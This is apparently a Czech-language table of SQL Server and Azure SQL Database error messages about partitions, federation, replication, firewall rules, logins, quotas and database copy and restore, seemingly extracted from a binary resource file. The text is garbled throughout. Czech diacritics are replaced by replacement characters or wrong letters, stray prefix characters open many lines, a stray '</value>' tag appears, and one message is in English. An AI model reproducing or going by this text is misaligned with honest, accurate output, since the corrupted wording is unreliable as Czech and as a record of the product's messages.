�Odstrann� odd�lu pYedpokl�d�, ~e neexistuj� ~�dn� kontextov� transakce.

�Aktu�ln� datab�ze byla ukon
ena. Aktu�ln� datab�ze byla pYepnuta na hlavn�.

�Procesy sp_cloud_add_partition a sp_cloud_delete_partition nelze pou~�t v transakci, pokud je povolena datab�ze odd�lo.

�Pro proces spec sp_cloud_add_partition byly zad�ny neplatn� argumenty (%1!s!).

�VyYazen� nen� v datab�zi %1!s! %2!s! povoleno, proto~e obsahuje odd�ly. PYed proveden�m operace vyYate odd�ly.

�PY�lia mnoho sekund�rn�ch objekto. Maxim�ln� podporovan� po
et je 32.

tNelze zmnit kolaci datab�ze pro datab�zi s ID %1!s!.

dObor datab�ze nelze spustit uvnitY transakce.

�Verze zpr�vy prezen
n�ho sign�lu neodpov�d�. Skute
n� verze je %1!s! a o
ek�van� verze je %2!s!.

�Typ odd�lu je neplatn�. Podporovan� typy jsou pouze 1 a 2.

�Replika, kterou hostuje datov� uzel pro po~adovan� odd�l, nen� ve stavu transak
n� konzistence.

�Vynulov�n� pYedpokl�d�, ~e neexistuj� ~�dn� kontextov� transakce.

�Vypr�zdnn� idempotent pYedpokl�d�, ~e neexistuj� ~�dn� kontextov� transakce.

�PY�prava pln�ho z�pisu pYedpokl�d�, ~e neexistuj� ~�dn� kontextov� transakce.

�Prob�h� opakovan� konfigurace CloudDB. Vaechny nov� u~ivatelsk� transakce budou zruaeny.

�Uzel topologie Fabric sp�rovan� datab�ze CloudDB selhal. Datab�ze %1!s! mus� b�t ukon
ena.

`SILO_TO_PDB: Kopie odd�lu je v M1 zak�z�na.

 ek�n� na synchronizaci kopie datab�ze s %1!s!.%2!s! se nezdaYilo. Zkontrolujte, zda je datab�ze ve stavu CATCH_UP, a opakuje akci pozdji.

�Zjiatn� nov�ho stavu sekund�rn�ho objektu u %1!s!:%2!s!:%3!s!:%4!s! se nezdaYilo.

�N�zev skupiny tabulek (n�zev jedn� sou
�sti) by neml b�t dela� ne~ hodnota parametru nvarchar(64).

hOdd�l nen� ve stavu, kter� umo~Huje odstrann�.

�Po~adovanou operaci nelze prov�st, proto~e je odd�l pr�v odstraHov�n.

xOdd�l je v pYechodn�m stavu. Transakce jsou ukon
ov�ny.

�V transakci nelze pou~�t operaci pro pYid�n� sekund�rn�ho objektu s dobou 
ek�n�.

|V transakci nelze pou~�t operaci pro pYejmenov�n� odd�lu.

�Nov� skupina tabulek neodpov�d� st�vaj�c� skupin tabulek pro pYejmenov�van� odd�l.

TOdd�l se shodn�m n�zvem ji~ existuje.

�Datab�zi s topologi� Fabric (%1!s!) nejde sp�rovat. Server nen� na sp�rov�n� pYipraven.

�Datab�zi s topologi� Fabric (%1!s!) nelze sp�rovat. Datab�ze je ji~ sp�rov�na.

�Datab�zi s topologi� Fabric (%1!s!) nelze sp�rovat. Dodan� objekt mutex (%2!s!) nelze otevY�t. K�d chyby: %3!s!

`Vytv�Yen� obor sch�matu %1!s! nen� pr�zdn�.

�Nelze vytvoYit objekt mutex p�rov�n� stran datab�ze pro datab�zi (%1!s!). K�d chyby: %2!s!

�PYihl�aen� se nezdaYilo. Prob�h� syst�mov� operace a datab�ze nepYij�m� u~ivatelsk� pYipojen�.

�Sestava selh�n� sekund�rn�ho objektu pYedpokl�d�, ~e neexistuj� ~�dn� kontextov� transakce.

�Datov� uzel nehostuje repliku po~adovan�ho odd�lu s po~adovanou verz�.

TZ�znam metadat pro odd�l neexistuje.

Aktualizace datab�ze %1!s! se nezdaYila, proto~e je pYepnuta do re~imu jen pro 
ten� s c�lem vynutit RPO obnoven� po hav�rii.

Kv�ta zdrojo pro aktu�ln� datab�zi byla pYekro
ena a tento po~adavek byl pYeruaen. Spusete dala� po~adavek v dala�m okn kv�ty. %1!s!

PJe vy~adov�na kontextov� transakce.

XNelze vytvoYit datab�zi odd�lo (%1!s!).

�Zjiatn� nov�ho stavu sekund�rn�ho objektu u %1!s!:%2!s!:%3!s!:%4!s! bylo zruaeno.

pJi~ je sp�rov�n maxim�ln� povolen� po
et datab�z�.

�Tabulka %1!s! ji~ m� kl�
 odd�lu. Explicitn� ur
en� nov�ho kl�
e odd�lu nen� povoleno. Pou~ijte pY�kaz Alter table.

�PY�kaz %1!s! FOR SID nen� v t�to verzi syst�mu SQL Server podporov�n.

�D�lka parametru varbinary nesm� b�t vta� ne~ zadan� maxim�ln� d�lka.

�PYi zpracov�v�n� po~adavku doalo ve slu~b k chyb. Opakujte akci. K�d chyby: %1!s!.

�Pouze prim�rn� repliku lze nakonfigurovat jako server pro pYed�v�n�.

�PYi zad�v�n� stavu 
ek�n� serveru pro pYed�v�n� by nemly existovat ~�dn� kontextov� transakce.

\N�zev c�lov�ho serveru je pY�lia dlouh�.

DSlo~en� zpr�va je poakozena.

hNelze zaregistrovat koncov� bod AsyncTransport.

XChyba �dr~by poYadov�ho 
�sla expedice

lBylo dosa~eno maxim�ln� velikosti fronty pYenosu.

�Doba zapoj
en� prezen
n�ho sign�lu je ni~a� ne~ interval pracovn�ho vl�kna prezen
n�ho sign�lu.

XTest asynchronn�ho pYenosu se nezdaYil.

PForm�t pYijat� zpr�vy je poakozen.

4Duplicitn� c�lov� ID

HN�zev clusteru nebyl nastaven.

�V po~adavku na uzam
en� byl pYijat neplatn� re~im z�mku nebo neplatn� zdroj.

@Neplatn� hodnota identity.

DZadejte sekvenci idempotent.

PC�lov� objekt %1!s! nebyl nalezen.

DAktu�ln� objekt nen� relace.

`Index %1!s! u objektu %2!s! nelze vytvoYit.

`Index %1!s! u objektu %2!s! nebyl nalezen.

PChyba protokolu replikace metadat.

@Odd�l %1!s! nebyl nalezen.

�PYeveden� clusterovan�ho indexu na haldu nen� podporov�no.

LVyp�n�n� odd�lo nen� podporov�no.

\Sestaven� indexu m� nekonzistentn� stav.

`NepodaYilo se odstranit vaechny sady Y�dko.

hSloupec identity nebyl u objektu %1!s! nalezen.

�Slu~ba je aktu�ln zanepr�zdnna. Opakujte po~adavek za 10 sekund. ID incidentu: %1!s!. K�d: %2!s!

TBylo nastaveno duplicitn� ID skupiny.

�Pole datab�ze %1!s! obsahuje neplatnou hodnotu %2!s!. Je o
ek�v�n datov� typ %3!s!.

�PYep�n�n� datab�z� nen� podporov�no. Chcete-li se pYipojit k jin� datab�zi, pou~ijte nov� pYipojen�.

LPovYen� u~ivatele jsou neplatn�.

�Zadan� k�d SID je pro tuto verzi syst�mu SQL Server neplatn�.

�V t�to verzi syst�mu SQL Server nelze vyvolat pY�kaz %1!s! s parametry.

�PY�kaz USE nen� podporovan� pro pYep�n�n� datab�z�. Pokud se chcete pYipojit k jin� datab�zi, pou~ijte nov� pYipojen�.

�Upgrade datab�ze SAWA v1 selh�v�. PYed optovn�m spuatn�m upgradu zkontrolujte metadata datab�ze.

�PY�kaz %1!s! nen� v t�to verzi syst�mu SQL Server podporov�n.

�Integrovan� funkce %1!s! nen� v t�to verzi syst�mu SQL Server podporov�na.

�Zastaral� funkce %1!s! nen� v t�to verzi syst�mu SQL Server podporov�na.

�Promnn� serveru %1!s! nen� v t�to verzi syst�mu SQL Server podporov�na.

�Polo~ka %1!s! nen� v t�to verzi syst�mu SQL Server podporov�na.

�Odkaz na n�zev datab�ze nebo serveru v um�stn� %1!s! nen� v t�to verzi syst�mu SQL Server podporov�n.

�Glob�ln� do
asn� objekty nejsou v t�to verzi syst�mu SQL Server podporov�ny.

�Mo~nost kl�
ov�ho slova nebo pY�kazu %1!s! nen� v t�to verzi syst�mu SQL Server podporov�na.

�PY�kaz SBCC %1!s! nen� v t�to verzi syst�mu SQL Server podporov�n.

�Syntaxe magick�ho 
�sla br�ny obsahuje neplatnou hodnotu %1!s! pole pYihlaaovac�ho jm�na.

�Zabezpe
iteln� tY�da %1!s! nen� v t�to verzi syst�mu SQL Server podporov�na.

�Zabezpe
iteln� tY�da %1!s! nen� v oboru serveru v t�to verzi syst�mu SQL Server podporov�na.

�Objekt zabezpe
en� datab�ze typu %1!s! nen� v t�to verzi syst�mu SQL Server podporov�n.

 VytvoYen� implicitn�ho u~ivatele %1!s! nen� v t�to verzi syst�mu SQL Server podporov�no. Ne~ u~ivatele pou~ijete, vytvoYte jej explicitn.

�Datov� typ %1!s! nen� v t�to verzi syst�mu SQL Server podporov�n.

�PY�kaz WITH %1!s! nen� v t�to verzi syst�mu SQL Server podporov�n.

�Poskytovatel sady Y�dko %1!s! nen� v t�to verzi syst�mu SQL Server podporov�n.

�Odkazovan� servery nejsou v t�to verzi syst�mu SQL Server podporov�ny.

�V t�to verzi syst�mu SQL Server nejde mapovat u~ivatele na pYihlaaovac� �daje syst�mu Windows.

�Integrovan� funkce %1!s! v kontextu zosobnn� nen� v t�to verzi syst�mu SQL Server podporov�na.

hPY�kaz %1!s! mus� b�t jedin�m pY�kazem v d�vce.

�N�zev serveru nelze ur
it. N�zev serveru mus� b�t zad�n jako prvn� segment n�zvu DNS serveru (n�zev_serveru.%1!s!). Nkter� knihovny neodes�laj� n�zev serveru. V takov�m pY�pad mus� b�t n�zev serveru zahrnut jako sou
�st u~ivatelsk�ho jm�na (u~ivatelsk�_jm�no@n�zev_serveru). Pokud jsou pou~ity oba form�ty, mus� se n�zev serveru shodovat.

�Server %1!s! po~adovan� v pYihl�aen� nelze otevY�t. PYihl�aen� se nezdaYilo.

@Server %1!s! ji~ existuje.

xK vlastn�kovi datab�ze je ji~ pYidru~en platn� k�d SID.

lVlastnosti pro obor sch�matu %1!s! ji~ existuj�.

xFunkce %1!s! nen� na t�to �rovni slu~eb datab�ze podporov�na. Dala� podrobnosti o podpoYe funkce na rozn�ch �rovn�ch slu~by Windows Azure SQL Database najdete v v t�matu Knihy online.

\U~ivatel %1!s! nebyl v datab�zi nalezen.

�Jako hodnota jak�koliv cesty k souborom mus� b�t zadan� platn� adresa URL za
�naj�c� na https://.

�Nenaaly se pYihlaaovac� �daje �lo~iat Windows Azure %1!s!.

Transakce byla pYeruaena, proto~e datab�ze byla pYevedena do re~imu jen pro 
ten�. Jedn� se o do
asnou situaci. Opakujte operaci.

HProceduru nelze volat z odd�lu.

pPro proceduru byl zad�n nespr�vn� po
et parametro.

�Byl zad�n neplatn� n�zev %1!s!. D�lka by mla b�t v rozsahu od 1 do %2!s!.

\Datab�ze %1!s! dos�hla kv�ty velikosti. Mo~ete rozdlit data do odd�lo nebo je odstranit, nebo vyYadit indexy. Informace o mo~n�ch Yeaen�ch tak� naleznete v dokumentaci.

�Ve slu~b doalo k probl�mu, kter� je aktu�ln zkoum�n. ID incidentu: %1!s!. K�d: %2!s!

DNelze vytvoYit fond �loh UCS.

�Udlen� opr�vnn� CONNECT u~ivateli guest v datab�zi %1!s! nen� povoleno.

�Relace je ukon
ena, proto~e m�te dlouhotrvaj�c� transakci. Zkuste transakci zkr�tit.

Relace byla ukon
ena, proto~e z�skala pY�lia mnoho z�mko. Zkuste v r�mci jedn� transakce na
�st nebo upravit mena� po
et Y�dko.

 Relace byla ukon
ena z dovodu nadmrn�ho vyu~it� datab�ze TEMPDB. Zkuste upravit dotaz tak, aby se sn�~ilo vyu~it� m�sta v do
asn� tabulce.

Relace byla ukon
ena z dovodu nadmrn�ho vyu~it� m�sta v protokolu transakc�. Zkuste v r�mci jedn� transakce upravit mena� po
et Y�dko.

�Relace byla ukon
ena z dovodu nadmrn�ho vyu~it� pamti. Zkuste upravit dotaz tak, aby zpracov�val m�n Y�dko.

8Pro tuto datab�zi se nepodporuje %1!s!. Dala� podrobnosti o podpoYe funkc� v rozn�ch �rovn�ch slu~by Windows Azure SQL Database obsahuj� Knihy online.

�Chyba   pYed na
ten�m informac� o odd�lu nelze prov�st kontroln� bod v datab�zi odd�lo.

�Mo~nosti pY�kazu na b�zi souboru nejsou v t�to verzi SQL Serveru podporovan�.

�Kop�rov�n� datab�ze se nezdaYilo. Bu zdrojov�, nebo c�lov� datab�ze neexistuje.

�Kop�rov�n� datab�ze se nezdaYilo. Zdrojov� datab�ze byla vyYazena.

�Kop�rov�n� datab�ze se nezdaYilo. C�lov� datab�ze byla vyYazena.

(Kop�rov�n� datab�ze se nezdaYilo. Kop�rov�n� datab�ze se nezdaYilo v dosledku intern� chyby. VyYate c�lovou datab�zi a opakujte akci.</value>

DKop�rov�n� datab�ze se nezdaYilo. Soub~n nesm� existovat v�ce ne~ jedna kopie datab�ze z jednoho zdroje. VyYate c�lovou datab�zi a opakujte akci pozdji.

�Kop�rov�n� datab�ze se nezdaYilo v dosledku intern� chyby. VyYate c�lovou datab�zi a opakujte akci.

�Kop�rov�n� datab�ze se nezdaYilo v dosledku intern� chyby. VyYate c�lovou datab�zi a opakujte akci.

Kop�rov�n� datab�ze se nezdaYilo. Zdrojov� nebo c�lov� datab�ze ji~ nen� dostupn�. VyYate c�lovou datab�zi a opakujte akci.

�Kop�rov�n� datab�ze se nezdaYilo. C�lov� datab�ze ji~ nen� dostupn�. VyYate c�lovou datab�zi a opakujte akci.

�Kop�rov�n� datab�ze se nezdaYilo v dosledku intern� chyby. VyYate c�lovou datab�zi a opakujte akci pozdji.

�Kop�rov�n� datab�ze se nezdaYilo v dosledku intern� chyby. VyYate c�lovou datab�zi a opakujte akci pozdji.

�Nelze z�skat z�mek prim�rn�ho odd�lu pro upgrade automatick�ch odd�lo datab�ze CloudDB.

�Nelze upgradovat automatick� odd�ly datab�ze CloudDB v datab�zi %1!s!, proto~e fyzick� datab�ze je jen pro 
ten�.

@Opr�vnn� pro syst�mov� ulo~en� procedury, katalogov� zobrazen� v oboru serveru a roza�Yen� ulo~en� procedury nelze v t�to verzi syst�mu SQL Server zmnit.

|Datov� typ %1!s! nen� ve federovan� datab�zi podporov�n.

�PY�kaz DDL tabulky je ve filtrovan�m pYipojen� podporov�n pouze u do
asn�ch tabulek.

xOmezen� %1!s! nen� ve federovan� datab�zi podporov�no.

xPY�kaz %1!s! nen� ve filtrovan�m pYipojen� podporov�n.

�PY�kazy DML nejsou u nefederovan�ch tabulek ve filtrovan�m pYipojen� podporov�ny.

tPY�kaz %1!s! nen� ve federovan� datab�zi podporov�n.

�Logicky filtrovan� sekund�rn� replika je podporov�na, pouze pokud slou~� jako server pro pYed�v�n�.

Metadata 
lena federace pro datab�zi nelze zmnit, pokud jsou pYipojeny logicky filtrovan� sekund�rn� repliky (je spuatno rozdlov�n�).

�len federace s dan�m ID 
lena pro danou koYenovou datab�zi federace neexistuje.

�Hodnota %1!s! mo~nosti %2!s! nen� v t�to verzi syst�mu SQL Server podporov�na.

�Operaci repliky nelze prov�st, proto~e tento uzel nen� server pro pYed�v�n� pro tento odd�l.

�Repliky s povolen�m odlo~en�m z�pisem nesm� b�t 
lenem kvora.

�Odlo~en� z�pis je podporov�n pouze u replik serveru pro pYed�v�n�.

TNelze vytvoYit pracovn� fond odd�lo.

�Repliky, u nich~ nen� povolen odlo~en� z�pis, nesm� uv�dt RPO.

�Prob�h� pYestavn� Gpm. PY�stup k nmu nelze z�skat, proto~e jeat nen� konzistentn�.

�Nelze inicializovat konfiguraci roza�Yen� ud�losti. Chyba je %1!s!.

�Relaci roza�Yen� ud�losti %1!s! nelze vytvoYit ani zmnit. Chyba XE %2!s!.%3!s! stav:%4!s!.

tRelace roza�Yen� ud�losti %1!s! vr�tila chybu %2!s!.

hRelace roza�Yen� ud�losti %1!s! byla zah�jena.

dRelace roza�Yen� ud�losti %1!s! byla zmnna.

hRelace roza�Yen� ud�losti %1!s! byla zastavena.

pKoYenov� datab�ze federace nesm� b�t jen pro 
ten�.

Xlen federace nesm� b�t jen pro 
ten�.

@Tento typ pY�kazu KILL nen� v datab�zi Microsoft Azure SQL Database podporovan�. Podporovan� jsou jen pY�kazy KILL session ID [WITH STATUSONLY]. a KILL UOW

XU~ivatel Spr�vce serveru ji~ existuje.

lPYihl�aen� nelze vytvoYit. Opakujte akci pozdji.

�Proceduru nelze spustit, proto~e aktu�ln� u~ivatel nen� u~ivatel Gateway.

�Nelze prov�st operaci %1!s!, proto~e by t�m byla pYekro
ena kv�ta serveru.

�Ze zdrojov�ho clusteru %1!s! do c�lov�ho clusteru %2!s! neexistuje trasa.

|Datab�ze nelze v t�to verzi syst�mu SQL Server pYipojit.

�PYihl�aen� syst�mu Windows nejsou v t�to verzi syst�mu SQL Server podporov�na.

H%1!s! nen� platn� IPv4 adresa.

�IP adresa za
�naj�c� Yetzcem %1!s! je pY�lia dlouh�. Maxim�ln� d�lka je %2!s!.

�Datab�ze Windows Azure SQL Database podporuje maxim�ln 128 pravidel br�ny firewall.

�Proces Spec byl spuatn pro silo, kter� nelze upgradovat tak, aby obsahovalo objekty br�ny firewall.

|Datab�ze %1!s! na serveru %2!s! nen� aktu�ln dostupn�. Opakujte pokus o pYipojen� pozdji. Pokud pot�~e potrvaj�, obraete se na z�kaznickou podporu a uvete ID trasov�n� relace %3!s!.

�Po
�te
n� IP adresa pravidla br�ny firewall nesm� pYesahovat koncovou IP adresu.

�Server %1!s! po~adovan� v pYihl�aen� nelze otevY�t. Klient s IP adresou %2!s! nem� povolen pY�stup k serveru.  Chcete-li pY�stup povolit, pou~ijte slu~bu Windows Azure Management Portal nebo spusete pY�kaz sp_set_firewall_rule v hlavn� datab�zi, a vytvoYte tak pravidlo br�ny firewall pro tuto IP adresu nebo rozsah adres.  Mo~e trvat a~ pt minut, ne~ se zmna projev�.

�V t�to verzi syst�mu SQL Server nen� hodnota %1!s! platn�m pYihlaaovac�m jm�nem.

�Pravidlo br�ny firewall za
�naj�c� Yetzcem %1!s! je pY�lia dlouh�. Maxim�ln� d�lka je %2!s!.

lN�zev pravidla br�ny firewall nesm� b�t pr�zdn�.

�Edice %1!s! nepodporuje maxim�ln� velikost dat datab�ze %2!s!.

,PYihl�aen� u~ivatele %1!s! se nezdaYilo. Zmna hesla se nezdaYila. Zmna hesla pYi pYihlaaov�n� nen� v t�to verzi syst�mu SQL Server podporov�na.

 typ metriky

$data metriky

�Optovn� ovYen� pro pYihl�aen� %1!s! se nezdaYilo. Bhem posledn�ho intervalu pro optovn� ovYov�n� se pYihl�aen� stalo neplatn�m z dovodu zmny hesla, vyYazen� pYihl�aen� nebo z jin�ho dovodu. Opakujte pYihl�aen�.

xOperace nen� povolena, proto~e je server %1!s! zak�z�n.

pZYizov�n� (vytv�Yen�, zmny 
i vyYazen�) servero a datab�z� Windows Azure SQL Database je aktu�ln zak�z�no.  K t�to situaci nej
astji doch�z� po kr�tkou dobu pYi �dr~b syst�mu.

Prob�h� pY�kaz ALTER DATABASE. PYed pYihl�aen�m k datab�zi %1!s! po
kejte alespoH pt minut, ne~ bude pY�kaz dokon
en. Nkter� syst�mov� katalogy nemus� b�t pYed dokon
en�m aktu�ln�. Pokud jste zmnili n�zev datab�ze, pou~�vejte v budoucnu nov� n�zev datab�ze.

�Prob�h� operace na serveru %1!s! a v datab�zi %2!s!. PYed opakov�n�m operace po
kejte nkolik minut.

�Aktualizace datab�ze %1!s! selhala, proto~e datab�ze je jenom pro 
ten�. Obraete se na vlastn�ka slu~by Windows Azure. V �
tu slu~by Windows Azure pravdpodobn doalo k probl�mom souvisej�c�m s fakturac�.

�Na z�klad hodnoty maxsize %1!s! nebylo mo~n� ur
it edici. Zadejte platnou hodnotu maxsize.

�OvYen� hesla se nezdaYilo. Heslo nesplHuje po~adavky z�sad, proto~e je pY�lia kr�tk�.

�Zadan� heslo je pY�lia dlouh�. Heslo by nemlo pYes�hnout d�lku %1!s! znako.

�OvYen� hesla se nezdaYilo. Heslo nesplHuje po~adavky z�sad, proto~e nen� dostate
n komplexn�.

�V t�to verzi syst�mu SQL Server nen� %1!s! platn� edice datab�ze.

�Tuto ulo~enou proceduru lze spustit pouze v hlavn� datab�zi.

�Klient s IP adresou %1!s! je do
asn zak�z�n. PYed opakov�n�m operace po
kejte nkolik minut.

�V t�to operaci nelze pou~�t rezervovan� n�zev datab�ze %1!s!.

TKopie datab�ze je aktu�ln zak�z�na.

|Identifik�tor odbru %1!s! je neplatn�. Odbr neexistuje.

TPo~adavek neodpov�d� sch�matu: %1!s!.

XV serveru doalo k neo
ek�van� v�jimce.

DUm�stn� %1!s! nelze nal�zt.

xServer je aktu�ln zanepr�zdnn. Opakujte akci pozdji.

lZadan� hodnota hlavi
ky x-ms-version je neplatn�.

tNepodaYilo se autorizovat pY�stup k zadan�mu odbru.

�Parametr servername %1!s! nemo~e b�t pr�zdn� a nemo~e obsahovat hodnotu Null. Mo~e obsahovat pouze mal� p�smena od A do Z, 
�slice od 0 do 9 a poml
ku. N�zev nesm� poml
kou za
�nat ani kon
it.

DID odbru nesm� b�t pr�zdn�.

TOdbr %1!s! nezahrnuje server %2!s!.

�Bylo provedeno pY�lia mnoho po~adavko. Opakujte akci pozdji.

�Byl zad�n neplatn� typ obsahu. Je podporov�n pouze typ application/xml.

Odbr %1!s! nen� pro operaci pYipraven, proto~e pr�v prob�h� jin� operace. Po
kejte nkolik minut a pot� zkuste operaci prov�st znovu.

�Server se nepodaYilo vytvoYit, proto~e odbr %1!s! je zak�z�n.

�Nelze pYesunout nebo vytvoYit server. Odbr %1!s! pYekro
� kv�tu serveru.

�V 
ase %2!s! se nepodaYilo naj�t datab�zi %1!s!, kterou by bylo mo~n� ulo~it.

PZadan� podoblast %1!s! je neplatn�.

LDatab�zi  master  nelze obnovit.

�Kv�ta pro maxim�ln� po
et soub~n�ch obnoven� byla pYekro
ena.

PObnoven� nen� na serveru povoleno.

\Kv�ta pro po
et obnoven� byla pYekro
ena.

�Datab�zi nelze �span obnovit, proto~e uplynula maxim�ln� doba trv�n� zpracov�n� obnoven�.

LDatab�zi nelze �span obnovit. K tomuto po~adavku bylo pYiYazeno ID trasov�n� %1!s!. Pokud budete potYebovat pomoc z�kaznick� podpory, uvete toto ID trasov�n�.

XObnoven� bylo zruaeno spr�vcem syst�mu.

�PYi zpracov�n� po~adavku na obnoven� doalo k vnitYn� chyb. K tomuto po~adavku bylo pYiYazeno ID trasov�n� %1!s!. Pokud budete potYebovat pomoc z�kaznick� podpory, uvete toto ID trasov�n�.

�Datab�zi %1!s! nelze nyn� vyYadit, proto~e prob�h� jej� obnoven�. Po
kejte na dokon
en� obnoven�.

PDatab�zi  master  nelze zkop�rovat.

HKolace %1!s! nen� podporov�na.

�Kolace %1!s! vy~aduje v�hradn k�dov�n� Unicode a nelze ji pou~�t jako v�choz� kolaci datab�ze.

tZad�n� hodnoty LOGIN nen� u 
lena federace povoleno.

�%1!s! nen� platn� u~ivatelsk� jm�no nebo nem�te pY�sluan� opr�vnn�.

�Um�stn� %1!s! aktu�ln nepYij�m� vytvoYen� nov�ch servero Windows Azure SQL Database.

 Z�hlav� HTTP ocp-resourceprovider-registered-uri v po~adavku chyb� nebo je neplatn�. Chcete-li pokra
ovat, zadejte platnou hodnotu z�hlav�.

�Nelze %1!s! %2!s! na serveru %3!s!. Opakujte pokus o pYipojen� pozdji.

lPYiYazen� c�le slu~by pro datab�zi nelze zmnit v�cekr�t ne~ jednou za %1!s! hodin. Opakujte operaci %2!s! hodin po dokon
en� posledn�ho pYiYazen� c�le slu~by pro tuto datab�zi.

HPYiYazen� c�le slu~by pro datab�zi se nezdaYilo. Obraete se na z�kaznickou podporu spole
nosti Microsoft a uvete n�zev serveru, n�zev datab�ze a ID aktivity.

�VytvoYen� nebo pYiYazen� c�le slu~by nen� v tomto odbru povoleno.

|Slu~ba je aktu�ln zanepr�zdnna.  Opakujte akci pozdji.

Operace pro po~adavek s identifik�torem URI %1!s! nebyla nalezena. Chcete-li pokra
ovat, zadejte platn� identifik�tor URI po~adavku.

�Neplatn� hodnota z�hlav� %1!s!. Z�hlav� mus� obsahovat jeden platn� identifik�tor GUID.

�Operaci nejde prov�st, proto~e datab�ze %1!s! nen� v relaci repliky.

�Operaci nejde prov�st, proto~e datab�ze %1!s! je v relaci repliky.

�Operaci nejde prov�st, proto~e datab�ze %1!s! nen� c�lem replikace.

�Aktualizace datab�ze %1!s! selhala, proto~e datab�ze je c�lem replikace.

�Operaci nejde prov�st, proto~e datab�ze %1!s! nen� c�lem replikace.

hOperace osazen� ji~ pro datab�zi %1!s! prob�h�.

�A terminate operation is already in progress for database '%1!s!'.

POperace nen� aktu�ln podporov�na.

�Operaci nelze v datab�zi %1!s! prov�st v jej�m aktu�ln�m stavu.

�Datab�ze %1!s! na serveru %2!s! a %3!s! na serveru %4!s! jsou u~ v relaci replikace.

�Dos�hlo se limitu replikace. Datab�ze %1!s! nesm� m�t v�c ne~ %2!s! relac� replikace.

Operaci nejde prov�st, proto~e zdrojov� a c�lov� datab�ze replikace maj� odlian� n�zvy. Zdrojov� a c�lov� datab�ze mus� m�t stejn� n�zev.

�C�l replikace nejde vytvoYit na stejn�m serveru jako zdroj.

`Zmnu datab�ze %1!s! se nepodaYilo inicializovat, proto~e v datab�zi byly zjiatny operace 
ekaj�c� na vyY�zen�. Po dokon
en� operac� 
ekaj�c�ch na vyY�zen� opakujte akci.

 Aktu�ln� operaci nejde inicializovat bhem prob�haj�c� operace replikace. Datab�zi je mo~n� pYejmenovat a~ po zastaven� operace replikace.

�Operaci synchronizace replik indexo nejde inicializovat v datab�zi c�le replikace.

�Operaci nelze prov�st, proto~e datab�ze je aktu�ln koYenovou datab�z� nebo datab�z� 
lena.

�Ulo~en� procedura sp_wait_for_database_copy_sync selhala, proto~e aktu�ln� datab�ze nen� prim�rn� datab�z� �
astn�c� se relace replikace se zadan�m c�lov�m serverem %1!s! a datab�z� %2!s!.

\PYihl�aen� u~ivatele %1!s! se nezdaYilo.

pOperaci %1!s! nelze prov�st na bezplatn� datab�zi.

�V t�to verzi syst�mu SQL Server nelze vytvoYit u~ivatele s heslem.

�Form�t XML, kter� byl pou~it k ur
en� pravidel, je neplatn�. %1!s!.

XPravidla XML se nepodaYilo analyzovat.

lN�zev atributu %1!s! v polo~ce %2!s! je neplatn�.

lN�zev elementu %1!s! v polo~ce %2!s! je neplatn�.

dTyp funkce %1!s! v polo~ce %2!s! je neplatn�.

HN�zev funkce %1!s! neexistuje.

lHodnota indexu %1!s! v polo~ce %2!s! je neplatn�.

pPo
et parametro %1!s! v polo~ce %2!s! je neplatn�.

XV polo~ce %1!s! chyb� atribut operator.

LN�zev pravidla %1!s! neexistuje.

\Doalo k neplatn�mu pou~it� objektu %1!s!.

�Pro element <parametr> v polo~ce %1!s! byly zad�ny neplatn� hodnoty.

,Nedostatek pamti

lTyp oper�toru %1!s! v polo~ce %2!s! je neplatn�.

dTyp vstupu %1!s! v polo~ce %2!s! je neplatn�.

TV polo~ce %1!s! chyb� atribut index.

�V polo~ce %1!s! je vy~adov�n jeden z atributo inputtype, isnull a format.

pNepodaYilo se z�skat uzam
en� %1!s! pravidel %2!s!.

PN�zev pravidla %1!s! ji~ existuje.

�V polo~ce %1!s! je vy~adov�n pouze jeden z atributo inputtype, isnull a format.

`Mezipame procedury se nepodaYilo vymazat.

dN�zev pravidla nemo~e pYes�hnout %1!s! znako.

|Byl zjiatn neo
ek�van� atribut Operator v polo~ce %1!s!.

xOperace ALTER USER WITH LOGIN nezdaYila. PYihlaaovac� �daje zadan� u~ivatelem se neshoduj� s pYihlaaovac�mi �daji v koYenov� datab�zi federace pro u~ivatelsk� jm�no zadan� u~ivatelem.

@PYiYazen� c�le slu~by na serveru %1!s! a v datab�zi %2!s! ji~ prob�h�. ekejte pros�m, dokud pYiYazen� c�le slu~by pro datab�zi nebude m�t stav Dokon
eno.

xServer %1!s! dos�hl kv�ty (%2!s!) pr�miov�ch datab�z�.

TZadan� c�l slu~by %1!s! je neplatn�.

PYiYazen� c�le slu~by pro datab�zi se nezdaYilo. Obraete se na z�kaznickou podporu spole
nosti Microsoft a uvete ID aktivity.

�Vyprael 
asov� limit ~�dosti o na
ten� informac� o odbru. Zkuste to pros�m znovu pozdji.

Informace o pYedplatn�m pro pYedplatn� s ID %1!s! se ani po %2!s! pokusech nepovedlo na
�st. Zkuste to pros�m znovu pozdji.

\Edice %1!s! nepodporuje c�l slu~by %2!s!.

�V tabulce sys.dm_operation_status pro datab�zi %1!s! a operaci %2!s! se nenaaly ~�dn� Y�dky.

�V tabulce sys.dm_operation_status pro datab�zi %1!s! a operaci %2!s! se naael v�c ne~ jeden Y�dek.

�Operace %1!s! pro datab�zi %2!s! nejde zruait, proto~e u~ je dokon
en�.

�Datab�zi %1!s! nejde odstranit, proto~e prob�h� operace vytv�Yen�. Operace vytv�Yen� se zrua�.

�Datab�zi se nepovedlo nastavit jako zapisovatelnou, proto~e je to datab�ze Premium (pozastaven�).

�Nebylo mo~n� zmnit edici datab�ze z edice (nebo na edici) Premium pro koYen federace.

�Nebylo mo~n� zmnit edici datab�ze z edice (nebo na edici) Premium pro 
lena federace.

�Nebylo mo~n� zmnit edici datab�ze na edici Premium pro datab�zi v relaci replikace.

�Nebylo mo~n� zmnit edici datab�ze z edice Premium pro datab�zi v relaci replikace.

POperace replikace pro datab�zi %1!s! selhala, proto~e pro datab�zi existuj� operace ALTER 
ekaj�c� na zpracov�n�. Zkuste to znovu po dokon
en� 
ekaj�c�ch operac�.

pServer dos�hl svoj� kv�ty (%1!s!) datab�z� Premium.

lFederace nejsou pro datab�ze Premium podporovan�.

�Tato funkce nen� pro edici (%1!s!) vybran�ch datab�z� podporovan�.

pJe zadan� neplatn� mo~nost pYeps�n� proxy serveru.

pPYep�na
 funkc� ProxyOverrideSupport nen� zapnut�.

�}�dost te nejde zpracovat. Zkuste to pros�m znovu pozdji.

�Tato operace se u vaaeho typu nab�dky pYedplatn�ho nepodporuje.

�Dos�hlo se limitu relace replikace. Datab�ze %1!s! mo~e m�t maxim�ln jednu sekund�rn� repliku bez mo~nosti 
ten�.

DPYipojen� k sekund�rn� datab�zi bez mo~nosti 
